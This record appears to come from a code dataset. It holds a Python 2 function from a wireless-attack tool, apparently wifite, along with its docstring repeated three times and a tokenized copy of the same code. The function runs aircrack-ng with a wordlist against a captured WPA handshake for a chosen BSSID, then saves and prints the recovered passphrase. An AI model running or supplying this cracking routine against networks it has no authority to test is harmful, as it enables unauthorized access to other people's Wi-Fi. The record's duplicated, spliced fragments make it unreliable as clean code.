(capfile)
return cracked
Cracks cap file using aircrack-ng
        This is crude and slow. If people want to crack using pyrit or cowpatty or oclhashcat,
        they can do so manually.
Cracks cap file using aircrack-ng
        This is crude and slow. If people want to crack using pyrit or cowpatty or oclhashcat,
        they can do so manually.
Cracks cap file using aircrack - ng This is crude and slow . If people want to crack using pyrit or cowpatty or oclhashcat they can do so manually .
def wpa_crack(capfile):
    """
        Cracks cap file using aircrack-ng
        This is crude and slow. If people want to crack using pyrit or cowpatty or oclhashcat,
        they can do so manually.
    """
    global RUN_CONFIG
    if RUN_CONFIG.WPA_DICTIONARY == '':
        print R+' [!]'+O+' no WPA dictionary found! use -dict <file> command-line argument'+W
        return False

    print GR+' [0:00:00]'+W+' cracking %s with %s' % (G+capfile.ssid+W, G+'aircrack-ng'+W)
    start_time = time.time()
    cracked = False
    
    remove_file(RUN_CONFIG.temp + 'out.out')
    remove_file(RUN_CONFIG.temp + 'wpakey.txt')
    
    cmd = ['aircrack-ng',
           '-a', '2',                 # WPA crack
           '-w', RUN_CONFIG.WPA_DICTIONARY,      # Wordlist
           '-l', RUN_CONFIG.temp + 'wpakey.txt', # Save key to file
           '-b', capfile.bssid,       # BSSID of target
           capfile.filename]
    
    proc = Popen(cmd, stdout=open(RUN_CONFIG.temp + 'out.out', 'a'), stderr=DN)
    try:
        kt  = 0 # Keys tested
        kps = 0 # Keys per second
        while True: 
            time.sleep(1)
            
            if proc.poll() != None: # aircrack stopped
                if os.path.exists(RUN_CONFIG.temp + 'wpakey.txt'):
                    # Cracked
                    inf = open(RUN_CONFIG.temp + 'wpakey.txt')
                    key = inf.read().strip()
                    inf.close()
                    RUN_CONFIG.WPA_FINDINGS.append('cracked wpa key for "%s" (%s): "%s"' % (G+capfile.ssid+W, G+capfile.bssid+W, C+key+W))
                    RUN_CONFIG.WPA_FINDINGS.append('')
                    t = Target(capfile.bssid, 0, 0, 0, 'WPA', capfile.ssid)
                    t.key = key
                    RUN_CONFIG.save_cracked(t)

                    print GR+'\n [+]'+W+' cracked %s (%s)!' % (G+capfile.ssid+W, G+capfile.bssid+W)
                    print GR+' [+]'+W+' key:    "%s"\n' % (C+key+W)
                    cracked = True
                else:
                    # Did not crack
                    print R+'\n [!]'+R+'crack attempt failed'+O+': passphrase not in dictionary'+W
                break
            
            inf = open(RUN_CONFIG.temp + 'out.out', 'r')
            lines = inf.read().split('\n')
            inf.close()
            outf = open(RUN_CONFIG.temp + 'out.out', 'w')
            outf.close()
            for line in lines:
                i = line.find(']')
                j = line.find('keys tested', i)
                if i != -1 and j != -1:
                    kts = line[i+2:j-1]
                    try: kt = int(kts)
                    except ValueError: pass
                i = line.find('(')
                j = line.find('k/s)', i)
                if i != -1 and j != -1:
                    kpss = line[i+1:j-1]
                    try: kps = float(kpss)
                    except ValueError: pass
            
            print "\r %s %s keys tested (%s%.2f keys/sec%s)   " % \
                   (GR+sec_to_hms(time.time() - start_time)+W, G+add_commas(kt)+W, G, kps, W),
            stdout.flush()
            
    except KeyboardInterrupt: print R+'\n (^C)'+O+' WPA cracking interrupted'+W
    
    send_interrupt(proc)
    try: os.kill(proc.pid, SIGTERM)
    except OSError: pass
    
    return cracked
def wpa_crack ( capfile ) : global RUN_CONFIG if RUN_CONFIG . WPA_DICTIONARY == '' : print R + ' [!]' + O + ' no WPA dictionary found! use -dict <file> command-line argument' + W return False print GR + ' [0:00:00]' + W + ' cracking %s with %s' % ( G + capfile . ssid + W , G + 'aircrack-ng' + W ) start_time = time . time ( ) cracked = False remove_file ( RUN_CONFIG . temp + 'out.out' ) remove_file ( RUN_CONFIG . temp + 'wpakey.txt' ) cmd = [ 'aircrack-ng' , '-a' , '2' , # WPA crack '-w' , RUN_CONFIG . WPA_DICTIONARY , # Wordlist '-l' , RUN_CONFIG . temp + 'wpakey.txt' , # Save key to file '-b' , capfile . bssid , # BSSID of target capfile . filename ] proc = Popen ( cmd , stdout = open ( RUN_CONFIG . temp + 'out.out' , 'a' ) , stderr = DN ) try : kt = 0 # Keys tested kps = 0 # Keys per second while True : time . sleep ( 1 ) if proc . poll ( ) != None : # aircrack stopped if os . path . exists ( RUN_CONFIG . temp + 'wpakey.txt' ) : # Cracked inf = open ( RUN_CONFIG . temp + 'wpakey.txt' ) key = inf . read ( ) . strip ( ) inf . close ( ) RUN_CONFIG . WPA_FINDINGS . append ( 'cracked wpa key for "%s" (%s): "%s"' % ( G + capfile . ssid + W , G + capfile . bssid + W , C + key + W ) ) RUN_CONFIG . WPA_FINDINGS . append ( '' ) t = Target ( capfile . bssid , 0 , 0 , 0 , 'WPA' , capfile . ssid ) t . key = key RUN_CONFIG . save_cracked ( t ) print GR + '\n [+]' + W + ' cracked %s (%s)!' % ( G + capfile . ssid + W , G + capfile . bssid + W ) print GR + ' [+]' + W + ' key:    "%s"\n' % ( C + key + W ) cracked = True else : # Did not crack print R + '\n [!]' + R + 'crack attempt failed' + O + ': passphrase not in dictionary' + W break inf = open ( RUN_CONFIG . temp + 'out.out' , 'r' ) lines = inf . read ( ) . split ( '\n' ) inf . close ( ) outf = open ( RUN_CONFIG . temp + 'out.out' , 'w' ) outf . close ( ) for line in lines : i = line . find ( ']' ) j = line . find ( 'keys tested' , i ) if i != - 1 and j != - 1 : kts = line [ i + 2 : j - 1 ] try : kt = int ( kts ) except ValueError : pass i = line . find ( '(' ) j = line . find ( 'k/s)' , i ) if i != - 1 and j != - 1 : kpss = line [ i + 1 : j - 1 ] try : kps = float ( kpss ) except ValueError : pass print "\r %s %s keys tested (%s%.2f keys/sec%s)   " % ( GR + sec_to_hms ( time . time ( ) - start_time ) + W , G + add_commas ( kt ) + W , G , kps , W ) , stdout . flush ( ) except KeyboardInterrupt : print R + '\n (^C)' + O + ' WPA cracking interrupted' + W send_interrupt ( proc ) try : os . kill ( proc . pid , SIGTERM ) except OSError : pass return cracked